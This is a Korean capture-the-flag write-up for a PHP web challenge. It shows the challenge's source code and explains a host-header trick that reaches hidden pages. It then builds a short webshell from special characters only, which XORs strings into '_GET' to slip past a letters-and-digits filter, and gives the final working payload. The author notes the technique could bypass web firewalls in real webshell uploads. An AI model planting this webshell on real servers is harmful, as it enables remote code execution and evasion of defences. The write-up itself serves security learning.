문제 접속 후 주석을 보면 is_debug=1이라는 문구가 있고 이를 입력해보면 다음과 같이 php소스 코드를 확인할 수 있다.
<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<?php
ini_set("display_errors", 0);
include('secret.php');
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team")
{
if(!isset($_GET['alien']))
{
$wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
<button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
<button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien']))
{
if($_GET['alien']==='@!#$@!@@')
{
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
}
else
{
mapl_die();
}
}
}
elseif($whoareyou==="human.ludibrium.meepwn.team")
{
if(!isset($_GET['human']))
{
echo "";
$wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
<button type="submit" class="button-success" name="human" value="Yes">Yes</button>
<button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human']))
{
if($_GET['human']==='Yes')
{
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
}
else
{
mapl_die();
}
}
}
else
{
echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
{
show_source(__FILE__);
}
}
?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
<?php ob_end_flush(); ?>
코드를 보면 URI 값을 parse_url의 인자로 넣고 호스트명을 구해오는데 요런식으로 입력해주면 조건에 만족하면서 아래와 같이 두개의 페이지에 접근이 가능해진다.
각 페이지 기능을 보면 위와같이 임의의 입력값을 넣어준뒤 Save버튼을 눌렀을때 아래와 같은 형태로 요청이 간다.
기능을보면 message 파라미터값이 파일내용에 삽입되고 type 파라미터값을 통해 파일확장자를 지정할 수 있다. 여기서그냥 파일내용에 php 코드 넣으면 끝나겠구나 생각했는데 큰 오산이었다. 위에서 리다이렉트된 두개의 페이지 각각 한군데는 파일내용에 문자,숫자만 쓸 수 있고 나머지 한군데는 특문만 쓸 수 있다는 필터조건이 걸려있었다.
문자,숫자만 가지고는 일단 php 시작코드인 <?를 어떻게할 방법이 없어보였고 특문만 가지고 웹쉘 명령어를 만들어야할 것 같았다.
php에서는 문자열(); 형태로 함수실행이 가능한 트릭이 있기 때문에 특문들을 비트연산을 통해 적절히 조절해서 내가원하는 함수의 문자열만 만들 수 있다면 충분히 가능할 거라 생각했다.
여기까지 생각한뒤 여러가지 조합을통해 system , show_source 류의 문자열을 특문만가지고 만들어보려고 했는데 생각보다 쉽지가 않아서 이미 누군가 만들어논게 있을 것 같아서 찾다보니 요 사이트에서 특문만 가지고 만든 웹쉘 코드를 찾았다.
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
위 사이트에서 찾은 코드를 그대로 쓰려고 넣어보니 40글자 길이제한이 걸려있었다.
여기서 멘탈이 나갔다가 최대한 길이를 줄인 코드를 짜봤는데 대충 아래와 같은 형태였다.
<?=$_="_GET";${$_}{_}(${$_}{__});
위의 코드 중 "_GET"를 제외한 글자가 26글자였고 "_GET"을 특문 14글자로 구현만 가능하다면 익스플로잇이 가능할 거라고 생각했다. 여기서 특문으로 _GET을 만들어보려고 좀 해봤는데 생각처럼 잘 안되서 멘탈터져서 결국 롸업을 봤다. 코드자체는 생각했던 코드와 크게 다르지 않았고 "_GET"을 "`{{{"^"?<>/" 요런식으로 만들 수 있길래 그대로 가져다 썼다.
<?=$_="`{{{"^"?<>/";${$_}{_}(${$_}{__});
해당 기법은 실무에서도 php 웹쉘 업로드 시 웹방화벽 우회할 때 다양하게 응용가능할 것 같다.